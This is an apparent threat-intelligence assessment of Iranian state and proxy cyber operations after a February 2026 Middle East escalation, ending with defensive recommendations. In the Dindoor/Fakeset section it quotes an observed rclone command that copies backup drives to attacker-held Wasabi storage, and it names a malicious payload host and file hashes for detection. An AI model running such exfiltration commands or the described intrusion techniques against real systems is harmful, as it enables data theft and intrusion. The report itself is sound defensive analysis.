

Comprehensive Cyber Threat Intelligence Assessment: Iranian State-Aligned and Proxy Cyber Activity Following the February 2026 Middle East Escalation

1. Executive Summary

The geopolitical landscape of the Middle East underwent a fundamental and likely irreversible transformation in late February 2026. This transformation has cascaded immediately into the digital domain, fundamentally altering the paradigm of regional and global cyber warfare. The execution of massive, coordinated kinetic strikes by the United States and Israel—designated Operation Epic Fury and Operation Roaring Lion, respectively—targeted the sovereign territory of the Islamic Republic of Iran. These strikes resulted in severe degradation of Iran's military infrastructure, nuclear facilities, and the systemic decapitation of its senior leadership, including the reported deaths of Supreme Leader Ayatollah Ali Khamenei and various commanders within the Islamic Revolutionary Guard Corps (IRGC).¹ The Iranian response, which included expansive missile and drone barrages across the region targeting allied and American assets, marked the definitive abandonment of diplomacy in favour of sustained military force.⁴

However, as conventional military exchanges continue, the most profound, complex, and enduring asymmetric responses are currently materialising within cyberspace. This intelligence assessment provides an exhaustive, expert-level analysis of the Iranian state-sponsored and proxy cyber ecosystem following the February 2026 escalation, incorporating the tactical integration of allied cyber threat actors from the Russian Federation, the Democratic People's Republic of Korea (DPRK), and regional proxy militias such as Hezbollah.

The primary finding of this assessment indicates a forced, yet highly effective, strategic reconfiguration of Iranian cyber doctrine. Confronted with a near-total domestic internet blackout—with connectivity plummeting to between 1 and 4 percent of historical baselines⁶—traditional Iranian command-and-control (C2) structures have fractured. This infrastructural degradation has catalysed the rapid decentralisation of offensive cyber operations. It has forced state-aligned Advanced Persistent Threat (APT) groups into operational isolation while simultaneously activating and empowering a volatile, highly aggressive network of transnational hacktivists and cybercriminal proxies.³

The resulting cyber threat landscape is characterised by three primary dynamics. First, there is

a structural convergence of state-sponsored espionage and financially motivated cybercrime, where destructive wiper malware is frequently disguised as ransomware to obfuscate attribution and maximise operational paralysis.⁹ Second, there has been an unprecedented level of horizontal coordination among geographically dispersed hacktivist collectives, orchestrated through newly established C2 hubs such as the "Electronic Operations Room".⁶ Third, the conflict has seen the opportunistic integration of foreign state-aligned entities, including Russian Initial Access Brokers (IABs) and North Korean strategic positioning, transforming a regional dispute into a globalised cyber conflict.⁷ For defenders, particularly those managing critical national infrastructure (CNI) and global supply chains in allied nations such as the United Kingdom, the United States, and the Gulf Cooperation Council (GCC) states, the threat matrix has evolved from targeted state espionage to volumetric, destructive, and highly unpredictable asymmetric warfare.¹²

2. The Geopolitical Catalyst and the Strategic Cyberspace Environment

To accurately comprehend the current trajectory, velocity, and targeting parameters of Iranian cyber operations, it is imperative to thoroughly contextualise the kinetic events that precipitated this paradigm shift. The late February 2026 strikes represented a qualitative rupture in international relations. As theoretical frameworks regarding war causation suggest, this escalation reflects a mutual perception of extreme vulnerability: Iran's view of its nuclear and ballistic missile programmes as existential insurance, opposed directly by the US-Israeli assessment that these same capabilities constitute an unacceptable and imminent threat.² This security dilemma made diplomatic compromise structurally impossible, leading directly to the pre-emptive strikes.⁴

Operation Epic Fury and Operation Roaring Lion were not purely conventional military assaults; they represented the modern synthesis of kinetic and cyber warfare. The strikes were preceded and accompanied by highly sophisticated cyber and space operations directed by US Cyber Command and US Space Command, which effectively blinded Iranian sensor networks, disrupted air defence communications, and hampered the regime's immediate ability to coordinate a unified response.⁸

This integration of domains underscores a significant shift in United States strategic doctrine under the Trump administration. Unlike previous administrations that largely maintained the covert nature of offensive cyber operations, the current administration has adopted a muscular, public-facing approach to cyber warfare. The willingness to publicly attribute and claim credit for digital disruption in Iran signals a normalisation of cyber effects as standard, overt military operational tools.⁸ This public posture naturally invites, and legally justifies in the eyes of the adversary, a proportional or asymmetric response in the same domain.

2.1 The Weaponisation of Telecommunications and the Internet

Blackout

A defining characteristic of the immediate post-strike environment has been the severe degradation of Iran's domestic telecommunications infrastructure. Beginning on the morning of 28 February 2026, network monitors registered a catastrophic collapse in Iranian internet connectivity, dropping to merely 1 to 4 percent of normal capacity.⁶

Intelligence assessments suggest this near-total blackout is dual-causal. While collateral or deliberate kinetic damage to physical infrastructure and fibre optic routing stations undoubtedly occurred during the bombardment, the sustained nature of the outage strongly indicates an intentional, self-imposed information blackout by the Iranian regime.⁸ This self-isolation serves a twofold strategic purpose. Domestically, it ruthlessly controls the narrative, suppressing potential anti-regime uprisings that might capitalise on the leadership decapitation and infrastructural chaos.⁸ Externally, the severing of international internet gateways serves as a crude but highly effective defensive mechanism to insulate surviving critical systems from follow-on external cyber offensives and influence operations launched by Western intelligence apparatuses.³

3. The Fragmentation of Command and Control: Tactical Autonomy in Cyber Units

The strategic decision, or infrastructural necessity, to sever Iran from the global internet has generated profound second-order effects on Iranian offensive cyber doctrine. The highly centralised, bureaucratic command structures that previously characterised the cyber units of the Ministry of Intelligence and Security (MOIS) and the Islamic Revolutionary Guard Corps (IRGC) have been abruptly disrupted.⁶

The evidence strongly suggests that elite state-aligned cyber units remaining within Iran's borders are currently operating in a state of enforced tactical autonomy.⁶ Unable to reliably receive real-time strategic directives from political leadership—many of whom have been eliminated—or route high-volume operational traffic through degraded domestic infrastructure, these groups are pivoting their operational methodologies. They are currently heavily reliant on pre-staged access, latent footholds established in Western networks prior to the late February escalation, and alternative, clandestine communication channels.¹⁵

This operational isolation has led to notable deviations from historically established targeting patterns. Deprived of strategic oversight, these autonomous cells are executing highly opportunistic attacks that prioritise immediate, highly visible disruptive impacts over long-term, stealthy strategic intelligence gathering.⁶

3.1 The Evasion of Isolation: Starlink and Initial Access Brokers

To circumvent the domestic blackout, Iranian Advanced Persistent Threats (APTs) are

employing novel evasion and procurement strategies. Check Point Research and other threat intelligence entities have identified Iranian groups, notably the Handala Hack Team, aggressively routing their command-and-control (C2) traffic through commercial Starlink satellite IP ranges.¹⁶ This technique, observed as early as mid-January 2026 in anticipation of potential conflict, allows these actors to bypass the state-controlled telecommunications monopoly and maintain a persistent presence on the global internet despite the internal blackout.¹⁶

Furthermore, the void in operational capability caused by bandwidth limitations has catalysed an increasing reliance on the global cybercriminal underground. Threat intelligence analysts monitoring elite Russian cybercrime forums, such as XSS and Exploit, have observed Initial Access Brokers (IABs) actively marketing and selling compromised network access directly to Iranian-linked threat actors.⁷ This transactional ecosystem serves as a critical strategic lifeline. By purchasing pre-established access—such as compromised Virtual Private Network (VPN) credentials or exploited edge appliances—Iranian APTs can bypass the resource-intensive reconnaissance and initial exploitation phases of the cyber kill chain. This allows them to rapidly re-establish their operational tempo against high-value Western targets, effectively outsourcing the initial breach to financially motivated Russian criminals.⁷

4. The Proliferation of Hacktivism and the "Electronic Operations Room"

The most visible manifestation of the Iranian cyber response has not been the deployment of sophisticated state-crafted malware, but rather a massive, coordinated surge in transnational hacktivist activity. The infrastructural challenges within Iran have effectively empowered a decentralised network of proxies located outside the geographical borders of the state. This network provides the Iranian regime with a layer of plausible deniability while enabling the execution of a high-volume, low-to-medium sophistication retaliatory campaign.⁶

4.1 The Consolidation of Proxy Forces

A critical structural development observed on 28 February 2026 was the rapid formation of the "Electronic Operations Room".⁶ Coordinated primarily by Iraqi-aligned threat actors, specifically the Cyber Islamic Resistance (also known as Team 313), this initiative represents an unprecedented horizontal integration of previously disparate, competing hacktivist groups.¹⁰

The Cyber Islamic Resistance publicly announced the formation of this joint operations room via Telegram, launching a general cyber mobilisation campaign and calling for participants globally to join the "Resistance Axis".¹⁸ The response was immediate and voluminous. Over 70 individual hacktivist groups formally pledged allegiance and integrated into the operations room within the first week of the conflict.¹⁵

This crowdsourced C2 mechanism functions to orchestrate mass distributed denial-of-service (DDoS) attacks, widespread website defacements, and opportunistic data exfiltration operations.¹⁰ The scale of this coordinated activity is significant. Between 28 February and 2 March 2026 alone, cybersecurity researchers verified 149 distinct hacktivist DDoS claims targeting 110 unique organisations distributed across 16 different countries.¹⁹

4.2 Key Hacktivist Collectives and Targeting Methodologies

The hacktivist threat landscape during this period has been heavily skewed towards a few highly active collectives. The groups Keymous+, DieNet, and the pro-Russian collective NoName057(16) were responsible for nearly 75 percent of all recorded claims during the initial surge.¹⁹

Hacktivist Collective	Affiliation / Ideology	Primary Tactics	Notable Claimed Targets (March 2026)
DieNet	Pro-Iran / Proxy	Volumetric DDoS	Bahrain Int. Airport, Bank of Jordan, UAE Airports ⁶
Cyber Islamic Resistance	Iraqi-aligned	Operations Coordination, DDoS	Israeli Drone Defence Systems, Municipalities ⁶
FAD Team (Fatimiyoun)	Pro-Regime / Proxy	SQLi, Wiper Malware	SCADA/PLC Systems (Israel), French/Indian Education ⁶
Hider Nex	Tunisian / Pro-Palestine	Hack-and-Leak, DDoS	Initiated first retaliatory DDoS on 28 Feb ¹⁹
Sylhet Gang	Transnational Islamist	Defacement, Disruption	Saudi Ministry of Home Affairs internal systems ⁶

The geographic distribution of these attacks highlights a strategy aimed at regional destabilisation and punitive actions against nations perceived as aiding the US and Israel. The majority of the attacks (107 out of 149) were concentrated in the Middle East. Kuwait, which hosts significant US military logistics hubs, received 28 percent of the attacks. Israel faced 27.1

percent, and Jordan, heavily criticised by pro-Iranian factions for its interception of Iranian projectiles, absorbed 21.5 percent.¹⁹ Furthermore, European infrastructure faced nearly 23 percent of the global activity, underscoring the spillover risk inherent in this conflict.¹⁹

Sectoral targeting focused heavily on the symbols of state and economic power. Government entities comprised 47.8 percent of targeted organisations, followed by the financial sector at 11.9 percent, and telecommunications at 6.7 percent.¹⁹ While threat intelligence analysis indicates a significant disparity between the volume of these hacktivist claims—often unverified or highly exaggerated—and the actual systemic destructive capability of the attacks, the psychological and reputational impact on targeted organisations remains severe.³ The primary objective of the Electronic Operations Room is the sustained disruption of digital normalcy to signal the reach and resilience of Iran's allies.

5. Transnational Cyber Proxies and Regional Spillover

The geopolitical isolation of Iran has fostered digital alliances of convenience, transforming a bilateral conflict into a globalised cyber war. This involves the integration of foreign state-aligned entities and deep-rooted regional proxies.

5.1 The Russian Nexus: #OpIsrael and Cybercrime Coalitions

Following the late February strikes, a loose but highly active coalition emerged between Iranian-nexus hackers and Russian cybercriminal and hacktivist syndicates. This alliance began coordinating efforts under the banner of the #OpIsrael campaign.⁷

Russian groups, most notably NoName057(16), formally aligned with the Cyber Islamic Resistance to execute massive, synchronised DDoS attacks against Israeli defence contractors, municipalities, and healthcare providers.⁷ This partnership extends beyond ideological alignment; it is a symbiotic operational relationship. The involvement of Russian actors, who often possess superior botnet infrastructure (such as the HydraC2 botnet, which has indicated support for Iran), artificially inflates the perceived cyber capabilities of the Iranian resistance.⁹ As previously noted, the trafficking of initial access by Russian brokers on dark web forums to Iranian APTs represents a severe escalation, blending state-level intent with elite cybercriminal capability.⁷

5.2 The DPRK (North Korea): Strategic Positioning and Supply Chain Risks

The Democratic People's Republic of Korea (DPRK) has publicly and forcefully aligned itself with Iran following the US-Israeli strikes. On 1 March 2026, the North Korean Foreign Ministry issued a "spokesperson's press statement"—a highly authoritative diplomatic vehicle—condemning the strikes as an "illegal act of aggression" and a "shameless rogue act of the U.S. and Israel".¹¹ This rhetorical support is backed by deepening diplomatic ties, evidenced by the recent

appointment of Iranian Ambassador Abbas Talebifar to Pyongyang after a five-year vacancy.²⁰

While direct, coordinated joint cyber operations between Iran and the DPRK regarding this specific conflict remain unverified, the strategic overlap is highly concerning. North Korean state-sponsored actors, such as the Lazarus Group, possess some of the most advanced financial cybercrime and cryptocurrency laundering capabilities globally.²¹ Intelligence indicates that the operational infrastructure used by North Korea to bypass anti-money laundering (AML) supervision is identical to the shadow banking systems utilised by the IRGC and Hezbollah to fund terrorism and circumvent global sanctions.²¹

Furthermore, the geopolitical instability caused by the conflict poses severe risks to the global semiconductor supply chain. South Korean lawmakers have expressed acute concern that the war will disrupt supplies of key semiconductor manufacturing materials.²² Should the conflict expand, or should DPRK threat actors opportunistically target these already strained supply chains through cyber espionage or disruption, the global technology sector would face compounding, cascading failures.

5.3 Hezbollah and the "Lebanese Cedar" Cyber Unit

The cyber dimension of the conflict heavily involves long-standing Iranian proxy militias, most notably Hezbollah's elite cyber unit, designated "Lebanese Cedar" (APT Lebanese Cedar).²³ This group operates with technical methodologies and software tools directly derived from, and likely supplied by, the Iranian MOIS.²⁵

Lebanese Cedar has a prolific history of infiltrating telecommunications and government servers across the US, UK, Egypt, the UAE, and Saudi Arabia.²⁵ During the 2026 escalation, Israeli cyber directorates formally attributed a highly sophisticated breach of the Ziv Medical Center in northern Israel to a joint operation involving the MOIS and Lebanese Cedar.²³ Although initial responsibility was claimed by a previously unknown persona, the "Malek Team," rigorous forensic investigation revealed the underlying MOIS-Hezbollah architecture.²³ The intrusion was a coordinated effort to extract sensitive medical data, which was subsequently disseminated on social media channels to inflict psychological trauma and demonstrate vulnerability within the Israeli civilian sector.²⁴ The activation of Lebanese Cedar highlights the borderless nature of Iranian cyber warfare, utilising proxy infrastructure in Lebanon to strike targets while maintaining a layer of attribution obfuscation.

6. The Convergence of State Espionage and Financially Motivated Sabotage

A definitive and highly dangerous trend observed in the early 2026 threat landscape is the structural convergence of Iranian state-sponsored military objectives and cybercriminal tactics.⁹ The Iranian regime increasingly relies on ransomware not merely as a mechanism for

financial extortion, but as a dual-purpose weapon for plausible deniability and irreversible data destruction.

6.1 The Sicarii Defect and the Pivot to BQTLock

In late February 2026, threat intelligence identified a concerted push directing pro-Iranian and pro-Palestinian operators to utilise the Sicarii Ransomware-as-a-Service (RaaS) platform.²⁷ The objective was to infect as many Western and Israeli victims as possible to inflict maximum economic pain in retaliation for the kinetic strikes.¹⁹

However, deep technical analysis by the Halcyon Ransomware Research Center revealed a fundamental, structural defect within the Sicarii encryptor: the malware systematically discarded its own encryption keys immediately after locking the victim's files.⁹ This cryptographic failure rendered decryption mathematically impossible, effectively transforming Sicarii from traditional ransomware into "destructionware".⁹ Consequently, victim organisations faced irreversible data loss regardless of their willingness to pay the extortion demands.⁹

The revelation of this defect, combined with an overwhelming influx of affiliate requests following the military escalation, critically strained the Sicarii administration.²⁷ On 3 March 2026, the Sicarii administrator, known by the alias "Uke", publicly conceded the group's inability to support the operational volume.²⁷ In an unprecedented move, Uke explicitly redirected their affiliates to a competing RaaS platform known as BQTLock (Baqiyat 313 Locker).²⁷

6.2 The Rise of BQTLock and React2Shell

BQTLock, purportedly developed by pro-Palestinian hackers Liwaa Mohammad and Karim Fayad under the broader Cyber Islamic Resistance umbrella, immediately capitalised on the geopolitical crisis.²⁷ The operators established a dedicated Telegram channel offering free RaaS access to any hacker capable of targeting the "Zionist entity" or its international allies.²⁷ This commodification of destructive malware severely lowers the barrier to entry, allowing unsophisticated, politically motivated threat actors to execute devastating, enterprise-level attacks.

From a technical perspective, the affiliates of BQTLock, such as the Cyber Fattah Team, possess advanced initial access capabilities. Intelligence indicates they actively leverage the vulnerability designated CVE-2025-55182, colloquially known as "React2Shell".²⁷ This critical, unauthenticated remote code execution (RCE) vulnerability affects React Server Components (RSC) and the RSC Flight protocol.²⁷ By exploiting React2Shell, these actors possess a highly reliable vector to compromise modern web infrastructure, bypassing traditional perimeter defences before deploying the BQTLock ransomware payload.²⁷

7. Advanced Persistent Threat (APT) Postures and

Technical Analysis

Despite the severe infrastructural challenges within Iran, top-tier APT groups affiliated with the MOIS and the IRGC continue to execute highly sophisticated campaigns. The intelligence strongly indicates that these groups anticipated the kinetic escalation and proactively established forward cyber postures in the weeks and months preceding the late February strikes.³

7.1 Seedworm (MuddyWater) and Operation Olalampo

Seedworm, also widely tracked under the designations MuddyWater, Mango Sandstorm, and Static Kitten, operates as a primary espionage apparatus for the Iranian MOIS.¹⁷ Historically focused on telecommunications, energy, and government sectors in the Middle East, the group's activity in early 2026 demonstrated a distinct pivot towards high-value Western targets.¹⁶

Beginning in early February 2026, Seedworm intrusions were identified within the networks of a US bank, a US airport, North American non-governmental organisations (NGOs), and the Israeli outpost of a prominent US software supplier serving the defence and aerospace industries.¹⁷ The targeting of this specific software supplier strongly suggests an intent to leverage supply chain vulnerabilities to penetrate highly secured Western defence networks.¹⁷

Simultaneously, Seedworm was identified executing a massive campaign designated "Operation Olalampo," a structured offensive targeting the Middle East, Turkey, and Africa (META) region.⁹ This operation is notable for its tactical overlaps with another campaign designated RedKitten, which heavily targeted Iranian civil society, indicating a shared infrastructure or resource pooling among MOIS units.⁹

Operation Olalampo initiates with highly tailored phishing emails containing malicious Microsoft Excel documents embedded with macro code.³⁰ Upon execution, these macros deploy a sophisticated array of downloaders and backdoors.

Malware Component	Threat Actor	Technical Characteristics & Functionality
GhostFetch	Seedworm	First-stage downloader. Profiles the system, validates mouse movements, and checks screen resolution to evade virtual machines and

		sandboxes. Fetches secondary payloads directly into memory. ³⁰
HTTP_VIP	Seedworm	Alternative downloader often distributed via flight ticket lures. Deploys AnyDesk remote desktop software to establish persistent graphical access. ³⁰
GhostBackDoor	Seedworm	Advanced implant dropped by GhostFetch. Employs advanced string decoding techniques matching legacy MuddyWater tooling. ³⁰
CHAR	Seedworm	Rust-based backdoor. Bears structural similarities to the <i>BlackBeard</i> (Archer RAT) malware. Highlights a strategic shift towards memory-safe languages for offensive tooling to hinder forensic reverse engineering. ³⁰

7.2 The Discovery of Dindoor and Fakeset Backdoors

The targeting of the US and Israeli aerospace suppliers by Seedworm also revealed the deployment of two previously undocumented malware strains: Dindoor and Fakeset.¹⁷

Dindoor is a highly evasive backdoor that distinguishes itself by executing within the **Deno** runtime environment.¹⁷ By shifting away from heavily scrutinised environments like Node.js or Microsoft PowerShell, and utilising the secure JavaScript/TypeScript Deno runtime, Seedworm effectively bypasses many legacy Endpoint Detection and Response (EDR) behavioural signatures that do not actively monitor Deno execution.¹⁷ Furthermore, the malware was cryptographically signed using a digital certificate issued to an entity named "Amy Cherne", granting it an aura of legitimacy on Microsoft Windows operating systems.¹⁷ Known SHA-256 indicators for Trojan.Dindoor include 0f9cf1cf8d641562053ce533aaa413754db88e60404cab6bbaa11f2b2491d542 and

1d984d4b2b508b56a77c9a567fb7a50c858e672d56e8cf7677a1fca5c98c95d1.¹⁷

Fakeset, found deployed against US aviation and NGO targets, is a Python-based backdoor.¹⁷ It was signed using dual certificates belonging to "Amy Cherne" and "Donald Gay".¹⁷ The presence of the "Donald Gay" certificate provides a high-confidence attribution link to Seedworm, as this exact certificate was previously utilised to sign the *Stagecomp* malware family (responsible for downloading the *Darkcomp* backdoor), a known Seedworm asset.¹⁷ Fakeset is notable for its reliance on legitimate cloud infrastructure for payload delivery; the malware was observed being downloaded directly from Backblaze B2 storage buckets (e.g., `gitempire.s3.us-east-005.backblazeb2.com`).¹⁷ Both the Dindoor and Fakeset campaigns demonstrated post-exploitation data exfiltration attempts utilising the open-source command-line tool Rclone, attempting to synchronise stolen data directly to Wasabi cloud storage infrastructure (`rclone copy CSIDL_DRIVE_FIXED\backups wasabi::/192.168.0.x`).¹⁷

7.3 Void Manticore (Handala Hack Team)

Operating as a highly public, aggressive online persona for the MOIS-affiliated Void Manticore, the Handala Hack Team specialises in rapid-velocity opportunistic compromises, psychological operations, and destructive wiper attacks.³ In early 2026, Handala was exceptionally active, targeting Israeli entities including civilian healthcare networks, energy exploration firms, and critical infrastructure.⁶

Handala's operational methodology involves probing internet-facing applications for weak credentials, establishing supply-chain footholds via IT service providers, and subsequently executing "hack-and-leak" operations to maximise public humiliation and panic.¹⁶ The group's psychological warfare tactics escalated significantly in March 2026, culminating in direct death threats emailed to high-profile Iranian-American and Iranian-Canadian dissidents, claiming their home addresses had been leaked to physical operatives.⁶ This aligns with assessments that MOIS APTs (APT34, APT35, APT39, APT42) are actively targeting ISPs and medical systems specifically to harvest population-scale data sets to locate and target regime dissidents globally.⁹

7.4 Cotton Sandstorm and CyberAv3ngers (IRGC-Affiliated)

The IRGC's cyber strategy diverges from the MOIS by prioritising immediate disruption and critical infrastructure sabotage over prolonged espionage.²⁹

Cotton Sandstorm (also tracked as Emennet Pasargad, Aria Sepehr Ayandehsazan, and Haywire Kitten) functions as the IRGC's premier "fast-reaction" unit, blending destructive cyber activity with highly visible information operations.¹⁶ In 2026, this group was observed deploying the custom modular infostealer **WezRat** via spear-phishing (often mimicking Google Chrome updates), followed by the deployment of WhiteLock ransomware to obfuscate data theft and induce operational paralysis.³ They have heavily targeted Bahraini government infrastructure,

reviving their "Altoufan Team" persona to claim these attacks.¹⁶

Concurrently, **CyberAv3ngers** (IRGC-CEC) poses a critical, life-safety risk to industrial control systems (ICS) and operational technology (OT) environments.³ This actor explicitly targets the water/wastewater, fuel management, and energy sectors across the US and Israel.³ Their primary vector involves exploiting default or hardcoded credentials in internet-accessible programmable logic controllers (PLCs), specifically those manufactured by Unitronics, D-Link, and Hikvision.³ The deployment of their custom Linux-based malware, **IOCONTROL**, demonstrates a tailored approach to sabotaging legacy OT systems that inherently lack modern endpoint detection capabilities.³

8. Psychological Operations, Disinformation, and Information Warfare

In parallel with destructive attacks and espionage, Iranian actors have mounted sophisticated information operations (IO) designed to manipulate public perception, instil domestic panic within adversary nations, and mask conventional military failures.¹⁶

8.1 The Weaponisation of Fear: The RedAlert Malware Campaign

The most technically significant and psychologically damaging operation identified in the immediate aftermath of Operation Epic Fury was the deployment of the malicious "RedAlert" application.⁶ On 1 March 2026, analysts from Palo Alto Networks' Unit 42 intercepted a highly sophisticated Android Package Kit (APK) engineered to perfectly replicate the Israeli Home Front Command's official missile warning application.¹⁰

This weaponised application was distributed via targeted, Hebrew-language SMS phishing campaigns, preying upon the hyper-vigilance of a civilian population under active bombardment from Iranian ballistic missiles.¹⁰ Upon installation, the APK deployed a comprehensive mobile surveillance engine capable of exfiltrating contacts, location data, and SMS communications.⁶ This operation represents a profound weaponisation of public fear, utilising the fog of war to trick civilians into compromising their own personal security under the guise of an urgent wartime safety update.¹⁴

8.2 Amplification, Deepfakes, and Application Compromise

Beyond targeted phishing, Iranian IO units successfully compromised legitimate, high-traffic applications to broadcast state propaganda directly to users. The religious calendar application *BadeSaba*, which boasts over five million downloads, was breached by state-aligned actors to push anti-government and psychological messaging directly to the mobile devices of perceived regime supporters.⁸ Furthermore, official Iranian state news agencies, including IRNA, experienced internal defacements, highlighting the chaotic internal information

environment resulting from the cyber conflict.⁸

Actors such as Cotton Sandstorm have also increasingly relied upon Artificial Intelligence (AI) to scale their influence operations.¹⁶ This includes the generation of synthetic audio and video deepfakes designed to fracture the US-Israel coalition, amplify imagery of kinetic destruction, and project an image of Iranian military supremacy.¹⁶ With the domestic internet blackout severely limiting authentic, independent Iranian voices online, these state-directed AI narratives risk dominating the global digital discourse regarding the conflict, filling the information vacuum with highly tailored disinformation.⁸

9. Global Target Matrix and Sector-Specific Threat Analysis

The target matrix for Iranian cyber operations in early 2026 is expansive, driven by both strategic military objectives and opportunistic, punitive retaliation. While Israel and the United States remain the primary focal points, the ripple effects have heavily impacted allied nations, particularly those hosting US military infrastructure.

9.1 The Threat to the United States and Israel

In the United States, the targeting of critical infrastructure by groups like CyberAv3ngers presents an immediate threat to public safety, particularly regarding water treatment facilities and the defence industrial base.⁸ The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) have issued urgent warnings regarding the exploitation of outdated PLCs and the targeting of HVAC, water, and life-safety systems in US hospitals.²⁸ The deployment of the Fakeset backdoor against US airports underscores a strategy designed to disrupt civilian logistics and societal normalcy.¹⁷

In Israel, the focus has been heavily weighted towards psychological warfare, financial disruption, and healthcare sabotage.⁶ The attacks on the Ziv Medical Center, payment infrastructure, and energy exploration companies aim to erode public confidence and inflict economic damage during a period of extreme kinetic vulnerability.⁶

9.2 The Gulf States and Regional Instability

The geographic proximity and military alliances of Gulf Cooperation Council (GCC) states have placed them squarely in the crosshairs. Following kinetic strikes originating from, or supported by, US and allied bases in the UAE, Bahrain, and Qatar, Iranian proxy groups retaliated digitally.²⁸ Notable incidents include kinetic and cyber attacks on Amazon Web Services (AWS) data centres in the UAE and Bahrain, which caused cascading cloud service outages for multiple regional security providers.⁹ Furthermore, systemic electronic warfare has disrupted GPS and automatic identification systems (AIS) for over 1,100 maritime vessels navigating the Strait of Hormuz and the Gulf of Oman, severely impacting global shipping logistics and energy

markets.⁸

9.3 The Threat to the United Kingdom and Global Supply Chains

The escalation poses a severe, albeit largely indirect, threat to the United Kingdom and global corporate entities operating within allied nations. The UK's National Cyber Security Centre (NCSC), a part of GCHQ, has issued urgent alerts to British businesses.¹² The NCSC determined that while the direct cyber threat to the UK mainland has not fundamentally altered, there is an "almost certain" heightened risk of indirect compromise for organisations with operational footprints, data centres, or supply chains within the Middle East.¹²

Iranian hackers, acting opportunistically through the Electronic Operations Room, do not meticulously discriminate between domestic Middle Eastern targets and the regional subsidiaries of Western multinationals.¹² Jonathon Ellison, the NCSC's director for national resilience, explicitly warned that critical national infrastructure (CNI) providers, such as UK power stations and airports, must urgently implement defensive measures to shield themselves from spillover effects, including volumetric DDoS campaigns and the exploitation of edge appliances.¹² The historic precedent of Iranian attacks, such as the 2012 Shamoon wiper attack on Saudi Aramco, demonstrates the regime's capability and willingness to inflict catastrophic economic damage on foreign corporate entities.¹²

10. Defensive Recommendations and Strategic Mitigations

The highly volatile nature of the current conflict, characterised by the fusion of state-sponsored intelligence gathering, destructive wiper malware, and crowdsourced hacktivist disruption, requires a rigorous, multi-layered security approach. Based on the intelligence gathered, the following strategic and tactical recommendations are imperative for mitigating the threat posed by the evolving Iranian cyber ecosystem:

1. **Harden the Network Perimeter and Eradicate Edge Vulnerabilities:** Iranian threat actors, from elite APTs to unsophisticated hacktivists, systematically exploit known, unpatched vulnerabilities on internet-facing systems.²⁸ Organisations must prioritise the immediate patching of vulnerabilities listed in the CISA Known Exploited Vulnerabilities (KEV) catalogue.²⁸ Specifically, vulnerabilities affecting React Server Components (CVE-2025-55182) must be remediated to prevent BQTLock ransomware deployment.²⁷
2. **Isolate Critical Operational Technology (OT):** Access to management interfaces for ICS/SCADA systems, remote access VPNs, and PLCs must be strictly removed from the public internet.³ These systems must be placed behind secure gateways, segmented from corporate IT networks, and subjected to rigorous access controls to thwart actors like CyberAv3ngers.³
3. **Monitor Cloud and Commercial Infrastructure Routing:** The reliance of Iranian APTs on

legitimate cloud services for data exfiltration (e.g., Wasabi, Backblaze B2 via Rclone) and C2 routing (e.g., Starlink IP ranges, commercial VPNs like NordVPN, ProtonVPN, or Mullvad) requires enhanced network traffic triage.³ Defenders should monitor for anomalous, high-volume outbound data transfers during off-hours, specifically targeting unfamiliar cloud storage endpoints.³

4. **Enforce Phishing-Resistant Authentication:** The widespread use of credential harvesting via high-trust impersonation by groups like Educated Manticore, and the supply chain compromises executed by Handala, dictate the absolute necessity of phishing-resistant Multi-Factor Authentication (MFA) across all M365, Google Workspace, and privileged administrative accounts.³
5. **Implement Macro Execution Prevention and Behavioural Analysis:** Given Seedworm's continued reliance on malicious Microsoft Excel macros (as seen in Operation Olalampo) for initial payload delivery, organisations must disable macro execution for documents originating from the internet.⁹ Furthermore, EDR solutions must be updated or configured to actively monitor execution within alternative runtimes, such as Deno, to detect highly evasive backdoors like Dindoor.¹⁷
6. **DDoS Mitigation and Resilience:** To counter the massive volumetric attacks generated by the Electronic Operations Room and pro-Russian coalitions, organisations—especially in the government, finance, and aviation sectors—must confirm the active deployment of robust, scalable DDoS mitigation services on all critical internet-exposed assets.³

The cyber dimension of the February 2026 Middle East conflict illustrates a profound maturation of asymmetric warfare. The degradation of Iran's domestic internet infrastructure, rather than neutralising its cyber threat, has inadvertently fostered a highly decentralised, unpredictable, and aggressive ecosystem. For the global security community, the threat has irrevocably shifted from contained, strategic espionage to a borderless campaign of opportunistic disruption, financial extortion, and systemic sabotage. Continuous vigilance, rigorous supply chain auditing, and the immediate hardening of critical infrastructure are paramount to weathering the prolonged cyber reverberations of this geopolitical crisis.

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